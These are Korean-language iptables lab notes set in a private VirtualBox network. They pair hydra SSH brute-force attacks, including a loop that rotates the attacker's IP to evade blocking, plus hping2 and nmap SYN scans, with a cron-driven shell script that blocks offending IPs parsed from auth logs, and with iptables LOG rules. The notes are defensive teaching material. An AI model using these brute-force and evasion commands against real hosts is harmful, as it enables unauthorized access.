======================================================================

IPTABLES-LAB> 보안도구를 작성한 후에 공격 테스트를 해보자.


Attacker : 192.168.56.240

Victim   : 192.168.56.200

공격형태 : White box test


- Attacker 설정 -

1. bt 부팅 

2. ssh 로 로그인

3. 공격


1. bt 부팅 

- root/toor

- VB Guest OS 생성 ( Ubuntu, 32bit 세팅 ), eth1 추가

Attacker# startx


2. ssh 로 로그인

Attacler# ifconfig eth1 192.168.56.240

Attacker# sshd-generate

Attacker# /etc/init.d/ssh start

Attacker# netstat -nat | grep 22

Attacker# passwd 

Xshell 로 로그인 


3. 공격

hydra usage : 

  hydra -l john -p doe 192.168.0.1 ssh

  hydra -L user.txt -P pass.txt 192.168.0.1 ssh


- 단일 사용자와 비번으로 공격

Attacker# hydra -l abc -p aaaa 192.168.56.200 ssh

  :

1 of 1 target successfuly completed, 0 valid passwords found

  :


Attacker# hydra -l abc -p 1234 192.168.56.200 ssh

  :

1 of 1 target successfuly completed, 1 valid password found



- 사전파일로 공격

Attacker# cat >> user.txt

linux

windows

admin

adminuser

abc

Ctrl+D


Attacke# cat >> pass.txt

akfdj

3i3u2

kasdjf

1234

Ctrl+D


Attacker# hydra -L user.txt -P pass.txt 192.168.56.200 ssh



- IP를 변경하면서 공격

Attacker# for i in `seq 50 59`

> do

>  ifconfig eth1 192.168.56.$i

>  hydra -l admin -p 1234 192.168.56.200 ssh > /dev/null 2>&1

> done


주의 원격 접속 (xshell / telnet) 연결 중이라면 ip가 바끼기 때문에 팅긴다


- Victim 설정 -

1. 사용자 생성

2. 로그 확인

3. 방화벽에 자동 등록



1. 사용자 생성

Victim# useradd abc

Victim# echo 1234 | passwd --stdin abc



2. 로그 확인 

- /var/log/secure 에 기록이 안되면 /var/log/messages 를 확인한다.

- Attacker 가 공격을 했을때 로그가 남는 3가지 유형

- 사용자가 없을때의 로그확인

- 사용자가 있지만 비번이 틀린 경우의 로그확인

- 사용자와 비번이 맞는 경우 로그확인


Victim# tail -f /var/log/secure 



3. 방화벽에 자동 등록

- 아래 보안도구를 만들어보자를 참고한다. 

Victim# firewall.sh

Victim# iptables -nvL DROP-IP

Chain DROP-IP (1 references)

target     prot opt source               destination         

DROP       all  --  192.168.56.59        0.0.0.0/0           

DROP       all  --  192.168.56.58        0.0.0.0/0           

DROP       all  --  192.168.56.57        0.0.0.0/0           

DROP       all  --  192.168.56.56        0.0.0.0/0           

DROP       all  --  192.168.56.55        0.0.0.0/0           

DROP       all  --  192.168.56.54        0.0.0.0/0           

DROP       all  --  192.168.56.53        0.0.0.0/0           

DROP       all  --  192.168.56.52        0.0.0.0/0           

DROP       all  --  192.168.56.51        0.0.0.0/0           

DROP       all  --  192.168.56.50        0.0.0.0/0           

DROP       all  --  192.168.56.240       0.0.0.0/0    


======================================================================


======================================================================

IPTABLES-LAB> 보안도구를 만들어보자.


-- 순서 --

1. 방화벽 정책 설정

2. 보안도구 생성 (shell script 를 이용한다.)

3. cron 에 등록

4. 확인

              

INPUT -------------> OUTPUT

 | ^             

 | |           

 | +-------------------+ 

 |                         |

 +--> ACCEPT-IP --> DROP-IP


Victim# iptables -F

Victim# iptables -N ACCEPT-IP

Victim# iptables -N DROP-IP

Victim# iptables -A INPUT -j ACCEPT-IP

Victim# iptables -A ACCEPT-IP -j DROP-IP


Victim# iptables -nL

Chain INPUT (policy ACCEPT)

target     prot opt source               destination         


Chain FORWARD (policy ACCEPT)

target     prot opt source               destination         


Chain OUTPUT (policy ACCEPT)

target     prot opt source               destination         


Chain ACCEPT-IP (0 references)

target     prot opt source               destination         


Chain DROP-IP (0 references)

target     prot opt source               destination 



- 방화벽룰 작성

- 192.168.56.1   : ACCEPT

- 192.168.56.201 : DROP


1. 방화벽 정책 설정

Victim# iptables -A INPUT -j ACCEPT-IP 

Victim# iptables -I ACCEPT-IP -s 192.168.56.1 -j ACCEPT


2. 보안도구 생성 (shell script 를 이용한다.)

Victim# mkdir ~/bin

Victim# install /dev/null ~/bin/firewall.sh

Victim# vi ~/bin/firewall.sh 



-- ~/bin/firewall.sh --

#!/bin/sh


# shell script 를 이용한 자동화된 공격IP 차단 룰 생성 프로그램

IPTABLE_CHAIN=DROP-IP

BLOCK_IP=$(grep Invalid /var/log/secure | awk '{print $10}' | sort | uniq)


for i in $BLOCK_IP

do

   # 디버깅

   # echo $i

   # IP 중복 체크

   iptables -nL DROP-IP | grep $i > /dev/null 2>&1

   ret_value=$?

   [ $ret_value -eq 0 ] && continue


   # 공격자 IP를 등록 

   iptables -I $IPTABLE_CHAIN -s $i -j DROP

done

-- ~/bin/firewall.sh --



위에 /var/log/secure 가 없다면 /var/log/messages로 바꾸고 print $10 이건 몇 번째 아규먼트?에 IP 주소가 나오는지 숫자 적어주면 된다


3. cron 에 등록

Victim# crontab -e 

* * * * * /root/bin/firewall.sh



(crontab -e 로 등록해서 안 될때는 그냥 /etc/crontab 에 등록하자

# vim /etc/crontab

맨 아랫줄 추가

* * * * * root /root/bin/firewall.sh

저장

)


4. 확인

Victim# iptables -nL DROP-IP


======================================================================


======================================================================

IPTABLES-LAB> 공격 IP를 변경하고 공격을 해보자.

--해보자~


IP변경 스크립트 : changeip.sh

변경 IP : 192.168.56.20 ~ 50 


Attacker# install /dev/null changeip.sh

Attacker# vi changeip.sh



-- changeip.sh --

#!/bin/sh


for i in $(seq 20 50)

do

  ifconfig eth1 192.168.56.$i

  hydra -l root  -p 1234 192.168.56.200 ssh

  hydra -l poweruser -p 1234 192.168.56.200 ssh

  hydra -l linuser1234 -p 1234 192.168.56.200 ssh

done

-- changeip.sh --



Attacker#  changeip.sh



Victim# tail -f /var/log/secure

또는 /var/log/messages

/var/log/auth.log



Victim# firewall.sh   <-- cron 에 등록이 안되었을 경우 바로 실행


- 확인

Victim# iptables -nvL DROP-IP

Victim# iptables -nvL DROP-IP | wc -l


======================================================================


======================================================================

IPTABLES-LAB> iptables 의 로그 기록하기


Attacker IP : 192.168.56.80

Victim   IP : 192.168.56.200


!!! 로그는 패킷의 운명을 결정하지 않으며 룰에  적용되어도 다음 룰을

!!! 검사하므로 LOG를 남기고자 하는 정책 위에 세워져야 한다


-- 순서 --


1. LOG 패킷 룰 설정

2. 공격자 로그 모니터링

3. 공격자 패킷 전송


1. LOG 패킷 룰 설정

Victim# iptables -F

Victim# iptables -A INPUT -p tcp --dport 23 --syn -j LOG \

> --log-prefix "SYN-Attack"

Victim# iptables -A INPUT -p tcp --dport 23 --syn -j DROP


Victim# iptables -nL INPUT

Chain INPUT (policy ACCEPT)

target     prot opt source               destination         

LOG        tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:23 flags:0x17/0x02 LOG flags 0 level 4 prefix `SYN Attack' 



2. 공격자 로그 모니터링

- 공격자의 로그를 모니터링해 본다.

Victim# tail -f  /var/log/messages



3. 공격자 패킷 전송

- Attacker가 2개의 SYN 패킷을 Victim 에 보내면 

- /var/log/messages 에 Attacker의 패킷정보가 남는 것을 확인할 수 있다.

Attacker# hping2 -S -p 23 -c 2 192.168.56.200 

Attacker# nmap -sS 192.168.56.200



2. 공격자 로그 모니터링 계속

Victim# tail -f  /var/log/messages

May 16 15:57:06 mail kernel: SYN-AttackIN=eth1 OUT= MAC=08:00:27:50:ac:aa:08:00:27:3b:bf:62:08:00 SRC=192.168.56.80 DST=192.168.56.200 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=29457 PROTO=TCP SPT=1263 DPT=23 WINDOW=512 RES=0x00 SYN URGP=0 

May 16 15:57:07 mail kernel: SYN AttackIN=eth1 OUT= MAC=08:00:27:50:ac:aa:08:00:27:3b:bf:62:08:00 SRC=192.168.56.80 DST=192.168.56.200 LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=1657 PROTO=TCP SPT=1264 DPT=23 WINDOW=512 RES=0x00 SYN URGP=0 

May 16 16:02:09 mail kernel: SYN AttackIN=eth1 OUT= MAC=08:00:27:50:ac:aa:08:00:27:3b:bf:62:08:00 SRC=192.168.56.80 DST=192.168.56.200 LEN=44 TOS=0x00 PREC=0x00 TTL=55 ID=14212 PROTO=TCP SPT=51641 DPT=23 WINDOW=1024 RES=0x00 SYN URGP=0 

May 16 16:02:10 mail kernel: SYN AttackIN=eth1 OUT= MAC=08:00:27:50:ac:aa:08:00:27:3b:bf:62:08:00 SRC=192.168.56.80 DST=192.168.56.200 LEN=44 TOS=0x00 PREC=0x00 TTL=57 ID=3452 PROTO=TCP SPT=51642 DPT=23 WINDOW=1024 RES=0x00 SYN URGP=0